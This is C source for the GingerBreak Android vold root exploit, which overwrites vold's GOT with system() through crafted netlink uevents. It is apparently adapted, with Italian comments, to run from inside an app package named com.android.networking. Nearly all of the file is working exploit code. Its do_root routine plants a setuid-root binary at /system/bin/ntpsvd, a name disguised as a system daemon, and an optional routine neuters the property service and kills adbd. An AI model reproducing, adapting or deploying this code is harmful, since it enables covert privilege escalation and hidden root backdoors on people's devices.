/* android 2.2-3.0 vold root exploit "mPartMinors[] (NPARTS) out of bounds write" * (checked for upper limit but not against negative values). * * Exploited by changing GOT entry of strcmp(),atoi() etc. to system() * and then triggering such call with provided pointer. :D * We nevermind NX protections and what they call ROP. * * (C) 2010-2011 The Android Exploid Crew * * Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK, THIS PROGRAM * MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED. SO BE WARNED! * I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE! * * It only works if called from adb shell since we need * group log. <-- Ahhahahaha come rido!!!!! Que - :D * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ASHMEM_NAME_LEN 256 #define __ASHMEMIOC 0x77 #define ASHMEM_SET_NAME _IOW(__ASHMEMIOC, 1, char[ASHMEM_NAME_LEN]) #define ASHMEM_GET_NAME _IOR(__ASHMEMIOC, 2, char[ASHMEM_NAME_LEN]) #define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t) #define ASHMEM_GET_SIZE _IO(__ASHMEMIOC, 4) #define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long) #define ASHMEM_GET_PROT_MASK _IO(__ASHMEMIOC, 6) #define ASHMEM_PIN _IOW(__ASHMEMIOC, 7, struct ashmem_pin) #define ASHMEM_UNPIN _IOW(__ASHMEMIOC, 8, struct ashmem_pin) #define ASHMEM_GET_PIN_STATUS _IO(__ASHMEMIOC, 9) #define ASHMEM_PURGE_ALL_CACHES _IO(__ASHMEMIOC, 10) //#define LOG(x) printf(x) //#define LOG(x) logonfile(x) #define LOG(x) logonout(x) static struct { pid_t pid; uint32_t got_start, got_end; uint32_t system; char *device; char found; } vold; static pid_t logcat_pid = 69; // La bash da runnare in caso ci serva una shell static char *suidsh = "/data/data/com.android.networking/lib/libparse.so"; // L'exploit static char *exploit = "/data/data/com.android.networking/files/statuslog"; // Il log dove logcat scrivera' lo stacktrace del crash static char *crashlog = "/data/data/com.android.networking/files/errorlog"; // Checkfile: file che conferma che siamo diventati root static char *checklog = "/data/data/com.android.networking/files/rdb"; // Applicazione che viene suiddata dall'exploit, che puo' essere invocata dal static char *suidext = "/data/data/com.android.networking/files/statusdb"; static char *default_dev = "/devices/platform/msm_sdcc.2/mmc_host/mmc1"; static int scale = 1, honeycomb = 0, froyo = 0; extern char **environ; time_t timestamp = 0; int logonout(char *msg) { if (!msg) { return; } if (timestamp == 0) { timestamp = time(NULL); printf("Timestamp : %d\n", timestamp); } // http://en.wikipedia.org/wiki/Time_t printf("%d %s", (time(NULL) - timestamp), msg); //printf("%s" , msg); return 0; } static int logonfile(const char *msg) { int fd; //char buf[0x1000]; if ((fd = open("exploit.log", O_RDWR | O_CREAT, 0666)) < 0) { printf(msg); return -1; } write(fd, msg, strlen(msg)); close(fd); return 0; } static void die(const char *msg) { char buf[2048]; sprintf(buf, "[-] DIE: %s", msg); LOG(buf); exit(errno); } static int copy(const char *from, const char *to) { int fd1, fd2; char buf[0x1000]; int r = 0; if ((fd1 = open(from, O_RDONLY)) < 0) { return -1; } if ((fd2 = open(to, O_RDWR | O_CREAT | O_TRUNC, 0600)) < 0) { close(fd1); return -1; } for (;;) { r = read(fd1, buf, sizeof(buf)); if (r <= 0) break; if (write(fd2, buf, r) != r) break; } close(fd1); close(fd2); sync(); sync(); return r; } static int remount_data(const char *mntpoint) { FILE *f = NULL; int found = 0; char buf[1024], *dev = NULL, *fstype = NULL; if ((f = fopen("/proc/mounts", "r")) == NULL) { return -1; } memset(buf, 0, sizeof(buf)); for (; !feof(f);) { if (fgets(buf, sizeof(buf), f) == NULL) break; if (strstr(buf, mntpoint)) { found = 1; break; } } fclose(f); if (!found) { return -1; } if ((dev = strtok(buf, " \t")) == NULL) { return -1; } if (strtok(NULL, " \t") == NULL) { return -1; } if ((fstype = strtok(NULL, " \t")) == NULL) { return -1; } return mount(dev, mntpoint, fstype, MS_REMOUNT, 0); } static int remount(const char *mntpoint, int flags) { FILE *f = NULL; int found = 0; char buf[1024], *dev = NULL, *fstype = NULL; if ((f = fopen("/proc/mounts", "r")) == NULL) { return -1; } memset(buf, 0, sizeof(buf)); for (; !feof(f);) { if (fgets(buf, sizeof(buf), f) == NULL) break; if (strstr(buf, mntpoint)) { found = 1; break; } } fclose(f); if (!found) { return -1; } if ((dev = strtok(buf, " \t")) == NULL) { return -1; } if (strtok(NULL, " \t") == NULL) { return -1; } if ((fstype = strtok(NULL, " \t")) == NULL) { return -1; } return mount(dev, mntpoint, fstype, flags | MS_REMOUNT, 0); } static void *find_symbol(char *sym) { void *r = NULL; void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW); if (!dlh) { die("[-] dlopen"); } if ((r = (void *) dlsym(dlh, sym)) == NULL) { die("[-] dlsym"); } dlclose(dlh); return r; } static void find_got(char *file) { int fd, i; Elf32_Ehdr ehdr; Elf32_Phdr phdr; Elf32_Dyn *dyn = NULL; size_t dyn_size = 0; char buf[256]; memset(&ehdr, 0, sizeof(ehdr)); memset(&phdr, 0, sizeof(phdr)); if ((fd = open(file, O_RDONLY)) < 0) { die("[-] open"); } if (read(fd, &ehdr, sizeof(ehdr)) != sizeof(ehdr)) { die("[-] read"); } if (lseek(fd, ehdr.e_phoff, SEEK_SET) != ehdr.e_phoff) { die("[-] lseek"); } for (i = 0; i < ehdr.e_phnum; ++i) { if (read(fd, &phdr, sizeof(phdr)) != sizeof(phdr)) { die("[-] read"); } if (phdr.p_type == PT_DYNAMIC) { break; } } if (phdr.p_type != PT_DYNAMIC) { die("[-] No GOT found!"); } if (lseek(fd, phdr.p_offset, SEEK_SET) != phdr.p_offset) { die("[-] lseek"); } dyn_size = phdr.p_filesz; sprintf(buf, "[+] Found PT_DYNAMIC of size %d (%d entries)\n", dyn_size, dyn_size / sizeof(Elf32_Dyn)); LOG(buf); if ((dyn = malloc(dyn_size)) == NULL) { die("[-] malloc"); } if (read(fd, dyn, dyn_size) != dyn_size) { die("[-] read"); } close(fd); for (i = 0; i < dyn_size / sizeof(Elf32_Dyn); ++i) { if (dyn[i].d_tag == DT_PLTGOT) { break; } } if (dyn[i].d_tag != DT_PLTGOT) { die("[-] No GOT found!"); } vold.got_start = dyn[i].d_un.d_ptr; free(dyn); /* Not really the end, but who cares, 64 entries should be enough */ vold.got_end = vold.got_start + scale * 64; sprintf(buf, "[+] Found GOT: 0x%08x\n", vold.got_start); LOG(buf); } static void find_device() { char buf[1024], *dev = NULL, *sp = NULL; FILE *f; if ((f = fopen("/etc/vold.fstab", "r")) == NULL) { if ((f = fopen("/system/etc/vold.fstab", "r")) == NULL) { LOG("[-] No vold.fstab found. Using default.\n"); vold.device = strdup(default_dev); return; } } for (; !feof(f);) { memset(buf, 0, sizeof(buf)); if (!fgets(buf, sizeof(buf), f)) { break; } if (buf[0] == '#') { continue; } if (strstr(buf, "dev_mount") && (dev = strstr(buf, "/devices/"))) { break; } } fclose(f); if (!dev) { LOG("[-] No device found. Using default.\n"); vold.device = strdup(default_dev); } else { if ((sp = strchr(dev, ' '))) { *sp = 0; vold.device = strdup(dev); } else if ((sp = strchr(dev, '\n'))) { *sp = 0; vold.device = strdup(dev); } else { LOG("[-] No device found. Using default.\n"); vold.device = strdup(default_dev); } } sprintf(buf, "[+] Using device %s\n", vold.device); LOG(buf); } static void find_vold() { char buf[2048], *ptr = NULL; int i = 0, fd; pid_t found = 0; FILE *f = NULL; vold.found = 0; if ((f = fopen("/proc/net/netlink", "r")) == NULL) { die("[-] fopen"); } for (; !feof(f);) { memset(buf, 0, sizeof(buf)); if (!fgets(buf, sizeof(buf), f)) { break; } if ((ptr = strtok(buf, "\t ")) == NULL) { break; } if ((ptr = strtok(NULL, "\t ")) == NULL) { break; } if ((ptr = strtok(NULL, "\t ")) == NULL) { break; } if (!*ptr) { break; } i = atoi(ptr); if (i <= 1) { continue; } sprintf(buf, "/proc/%d/cmdline", i); if ((fd = open(buf, O_RDONLY)) < 0) { continue; } memset(buf, 0, sizeof(buf)); read(fd, buf, sizeof(buf) - 1); close(fd); if (strstr(buf, "/system/bin/vold")) { found = i; break; } } fclose(f); if (!found) { return; } vold.pid = found; vold.found = 1; /* If already called no need to look for the mappings again as * they wont change */ if (vold.system) { return; } ptr = find_symbol("system"); vold.system = (uint32_t) ptr; sprintf(buf, "[+] Found system: %p strcmp: %p\n", ptr, find_symbol("strcmp")); LOG(buf); return; } /* Needed to make it work on 2.2 too */ static int last_try() { char buf[0x1000]; struct sockaddr_nl snl; struct iovec iov = { buf, sizeof(buf) }; struct msghdr msg = { &snl, sizeof(snl), &iov, 1, NULL, 0, 0 }; int sock = -1, n = 0; LOG("[*] Last try attempt\n"); do { find_vold(); usleep(10000); } while (!vold.found); memset(buf, 0, sizeof(buf)); memset(&snl, 0, sizeof(snl)); snl.nl_family = AF_NETLINK; if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0) { die("[-] socket"); } snl.nl_pid = vold.pid; memset(buf, 0, sizeof(buf)); // messaggi per generare int overflow n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c" "DEVPATH=%s%c" "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1", 0, 0, 0, exploit, 0, 0, vold.system, 0, 0); msg.msg_iov->iov_len = n; n = sendmsg(sock, &msg, 0); if (n < 0) { LOG("[-] sendmsg() last_try() failed\n"); } sleep(3); close(sock); return 0; } static int do_fault(uint32_t idx, int oneshot) { char buf[0x1000]; struct sockaddr_nl snl; struct iovec iov = { buf, sizeof(buf) }; struct msghdr msg = { &snl, sizeof(snl), &iov, 1, NULL, 0, 0 }; int sock = -1, n = 0; do { find_vold(); usleep(10000); } while (!vold.found); usleep(200000); memset(buf, 0, sizeof(buf)); memset(&snl, 0, sizeof(snl)); snl.nl_family = AF_NETLINK; if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0) { die("[-] socket"); } snl.nl_pid = vold.pid; memset(buf, 0, sizeof(buf)); n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c" "DEVPATH=%s%c" "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=%d", 0, 0, 0, vold.device, 0, 0, vold.system, 0, 0, -idx); msg.msg_iov->iov_len = n; n = sendmsg(sock, &msg, 0); if (n < 0 || oneshot) { close(sock); sprintf(buf, "[-] sendmsg() [1] failed, error: %d\n", errno); LOG(buf); return n; } usleep(500000); /* Trigger any of the GOT overwriten strcmp(), atoi(), strdup() etc. * inside vold main binary. * Arent we smart? Using old school technique from '99 to fsck NX while others * re-invent "ROP". Wuhahahahaha!!! */ if (honeycomb) { n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c" "SEQNUM=%s%cDEVPATH=%s%c" "MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1", 0, 0, 0, exploit, 0, exploit, 0, exploit, 0, exploit, 0, exploit, 0); } else if (froyo) { n = snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c" "DEVPATH=%s%c" "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1", 0, 0, 0, exploit, 0, 0, vold.system, 0, 0); } else { n = snprintf(buf, sizeof(buf), "%s;@%s%cACTION=%s%cSUBSYSTEM=%s%c" "SEQNUM=%s%cDEVPATH=%s%c" "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1", exploit, exploit, 0, exploit, 0, exploit, 0, exploit, 0, exploit, 0, 0, vold.system, 0, 0); } msg.msg_iov->iov_len = n; n = sendmsg(sock, &msg, 0); if (n < 0) { LOG("[-] sendmsg() [2] failed\n"); } close(sock); return n; } // si potrebbe leggerlo da java // http://www.androidsnippets.com/how-to-capture-application-log static uint32_t find_index() { uint32_t min = 0, max = vold.got_start, fault_addr = 0, idx = 0; char buf[1024], *ptr = NULL; FILE *f = NULL; long pos = 0; system("/system/bin/logcat -c"); LOG("[*] unlinking crashlog"); int ret = unlink(crashlog); if (ret == -1) { LOG("[-] Error unlinking"); } if ((logcat_pid = fork()) == 0) { FILE *cr = fopen(crashlog, "w"); if (cr != NULL) { chmod(crashlog, 0666); fclose(cr); printf("[*] Success open and chmod\n"); } else { printf("[-] Error: %d file: %s\n", errno, crashlog); } char *a[] = { "/system/bin/logcat", "-f", crashlog, NULL }; execve(*a, a, environ); exit(1); } sleep(3); idx = scale * 0x1000 / 4; for (;;) { if (do_fault(idx, 1) < 0) { continue; } /* Give logcat time to write to file */ sleep(3); if ((f = fopen(crashlog, "r")) == NULL) { die("[-] Unable to open crashlog file"); } fseek(f, pos, SEEK_SET); do { memset(buf, 0, sizeof(buf)); if (!fgets(buf, sizeof(buf), f)) { break; } if ((ptr = strstr(buf, "fault addr ")) != NULL) { ptr += 11; fault_addr = (uint32_t) strtoul(ptr, NULL, 16); sprintf(buf, "[*] vold: %04d idx: %d fault addr: 0x%08x\n", vold.pid, -idx, fault_addr); LOG(buf); } } while (!feof(f)); pos = ftell(f); fclose(f); if (fault_addr > min && fault_addr < max) { sprintf(buf, "[+] fault address in range (0x%08x,idx=%d)\n", fault_addr, -idx); LOG(buf); break; } idx += 0x1000 / 4; } // Honeycomb needs scaling by 10 idx = (fault_addr + 4 * idx - vold.got_start) / 4; if (scale > 1) { idx = scale * (fault_addr + 4 * idx / scale - vold.got_start) / 4; } sprintf(buf, "[+] Calculated idx: %d\n", -idx); LOG(buf); return idx; } static void do_root() { char buf[128]; remount_data("/data"); //chown(sh, 0, 0); //chmod(sh, 04711); sprintf(buf, "Exploit Status: EUID: %d, UID: %d\n", geteuid(), getuid()); LOG(buf); FILE *fw = fopen(checklog, "w"); // scrive in rdb che l'exploit e' avvenuto. Java usa questo file per saperlo. if (fw != NULL) { LOG("Scrivo nel file\n"); fwrite(buf, strlen(buf), 1, fw); fclose(fw); } else { sprintf(buf, "Fopen failed: %d\n", errno); LOG(buf); } // suidshell if (chown(suidext, 0, 0) < 0) { sprintf(buf, "Chown failed: %d\n", errno); LOG(buf); } if (chmod(suidext, 04755) < 0) { sprintf(buf, "Chmod failed: %d\n", errno); LOG(buf); } // Spostiamo la nostra "shell" in /system/bin/ntpsvd remount("/system", 0); // RW system( "/system/bin/cp /data/data/com.android.networking/files/statusdb /system/bin/ntpsvd"); //system("/system/bin/dd if=/data/data/com.android.networking/files/statusdb of=/system/bin/ntpsvd2"); chown("/system/bin/ntpsvd", 0, 0); chmod("/system/bin/ntpsvd", 04755); remount("/system", MS_RDONLY); sync(); exit(0); } int already_rooted() { char buf[256]; struct stat sustat; int status; int fildes = open("/system/bin/su", O_RDWR); status = fstat(fildes, &sustat); close(fildes); mode_t mode = sustat.st_mode; uid_t uid = sustat.st_uid; gid_t gid = sustat.st_gid; off_t size = sustat.st_size; int executable = (mode & S_IXOTH) && (mode & S_IROTH); int suidded = (mode & S_ISUID); int root = uid == 0; int regular = S_ISREG(mode); sprintf(buf, "[*] executable: %d suidded: %d root: %d regular: %d\n", executable, suidded, root, regular); LOG(buf); return executable && suidded && root && regular; } void gingerBreak() { uint32_t i = 0, j = 0, idx = 0; char *ash[] = { suidsh, 0 }; struct stat st; char build_id[256], version_release[256]; char buf[256]; LOG("\n[**] android 2.[2,3], 3.0 softbreak\n"); //if (copy("/proc/self/exe", exploit) < 0 || copy("/system/bin/sh", sh) < 0) // die("[-] Cannot copy boomsh."); chmod(exploit, 0711); find_vold(&vold); find_got("/system/bin/vold"); find_device(); sprintf(buf, "[*] vold: %04d GOT start: 0x%08x GOT end: 0x%08x\n", vold.pid, vold.got_start, vold.got_end); LOG(buf); idx = find_index(); LOG("[+] kill logcat"); kill(logcat_pid, SIGKILL); unlink(crashlog); for (i = idx; j++ < (vold.got_end - vold.got_start); --i) { if (do_fault(i, 0) < 0) { ++i; --j; LOG("[-] sendmsg() failed?\n"); continue; } sprintf(buf, "[*] vold: %04d idx: %08d\n", vold.pid, -i); fflush(stdout); LOG(buf); // Abbiamo una shell da avviare? if (stat(suidsh, &st) == -1) { //sprintf(buf, "[-] stat() [1] failed: %d\n", errno); //LOG(buf); } if ((st.st_mode & 04000) == 04000) { LOG("[!] dance forever my only one\n"); break; } } /* Last try, sometimes vold cant handle 2 receives in the order * we like by do_fault() */ if ((st.st_mode & 04000) != 04000) { last_try(); last_try(); if (stat(suidsh, &st) == -1) { sprintf(buf, "[-] stat() [2] failed: %d\n", errno); LOG(buf); } if ((st.st_mode & 04000) == 04000) { LOG("\n[+] You are in luck! Last try succeeded!\n"); } else { LOG("[-] Bad luck. Fixed vold?\n"); exit(1); } } execve(*ash, ash, environ); return; } #ifdef EX_PSNEUTER int psneuter() { char *workspace; char *fdStr; char *szStr; char *ppage; int fd; long sz; DIR *dir; struct dirent *dent; char cmdlinefile[PATH_MAX]; char cmdline[PATH_MAX]; chat buffer[256]; pid_t adbdpid = 0; setvbuf(stdout, 0, _IONBF, 0); setvbuf(stderr, 0, _IONBF, 0); workspace = getenv("ANDROID_PROPERTY_WORKSPACE"); if (!workspace) { LOG("Couldn't get workspace.\n"); return (1); } fdStr = workspace; if (strstr(workspace, ",")) { *(strstr(workspace, ",")) = 0; } else { LOG("Incorrect format of ANDROID_PROPERTY_WORKSPACE environment variable?\n"); return (1); } szStr = fdStr + strlen(fdStr) + 1; fd = atoi(fdStr); sz = atol(szStr); if ((ppage = mmap(0, sz, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) { sprintf(buffer, "mmap() failed. %s\n", strerror(errno)); LOG(buffer); return (1); } if (ioctl(fd, ASHMEM_SET_PROT_MASK, 0)) { sprintf(buffer, "Failed to set prot mask (%s)\n", strerror(errno)); LOG(buffer); return (1); } LOG("property service neutered.\n"); LOG("killing adbd. (should restart in a second or two)\n"); // now kill adbd. dir = opendir("/proc"); if (!dir) { sprintf(buffer, "Failed to open /proc? kill adbd manually... somehow\n"); LOG(buffer); return (1); } while ((dent = readdir(dir))) { if (strspn(dent->d_name, "0123456789") == strlen(dent->d_name)) { // pid dir strcpy(cmdlinefile, "/proc/"); strcat(cmdlinefile, dent->d_name); strcat(cmdlinefile, "/cmdline"); if ((fd = open(cmdlinefile, O_RDONLY)) < 0) { sprintf(buffer, "Failed to open cmdline for pid %s\n", dent->d_name); LOG(buffer); continue; } if (read(fd, cmdline, PATH_MAX) < 0) { sprintf(buffer, "Failed to read cmdline for pid %s\n", dent->d_name); LOG(buffer); close(fd); continue; } close(fd); // printf("cmdline: %s\n", cmdline); if (!strcmp(cmdline, "/sbin/adbd")) { // we got it. adbdpid = atoi(dent->d_name); break; } } } if (!adbdpid) { sprintf(buffer, "Failed to find adbd pid :(\n"); LOG(buffer); return (1); } if (kill(adbdpid, SIGTERM)) { sprintf(buffer, "Failed to kill adbd (%s)\n", strerror(errno)); LOG(buffer); return (1); } return (0); } #endif int main(int argc, char **argv, char **env) { char build_id[256], version_release[256]; // se viene chiamato da vold crashato... if (geteuid() == 0 && getuid() == 0 /*&& strstr(argv[0], "boomsh")*/) { do_root(); return; } LOG(__TIME__); LOG(" "); LOG(__DATE__); if (argc == 1) { __system_property_get("ro.build.id", build_id); __system_property_get("ro.build.version.release", version_release); if (strstr(build_id, "HONEY") || strstr(build_id, "Honey") || strstr( build_id, "honey") || strstr(version_release, "comb")) { LOG("[+] Detected honeycomb! Starting honeybomb mode (scale=10).\n"); //3.0 scale = 10; honeycomb = 1; } else if (strstr(build_id, "FR") || strstr(build_id, "Fr") || strstr( build_id, "fr")) { LOG("[+] Detected Froyo!\n"); //2.2 froyo = 1; } else if (strstr(build_id, "EC") || strstr(build_id, "Ec") || strstr( build_id, "ec")) { LOG("[+] Detected Eclair!\n"); //2.0, 2.1 } else { LOG("[+] Plain Gingerbread mode!\n"); //2.0 } gingerBreak(); //system("/data/data/com.android.networking/files/statusdb 1"); return; } #ifdef EX_PSNEUTER if(argc<=2){ psneuter(); system("/data/data/com.android.networking/files/statusdb 2 2"); return; } #endif #ifdef EX_SU if (argc<=3 && already_rooted()) { LOG("[+] Detected root su!"); system( "/system/bin/su -c /data/data/com.android.networking/files/statusdb 3 3 3"); return; } #endif else{ LOG("[-] Something went wrong."); } } .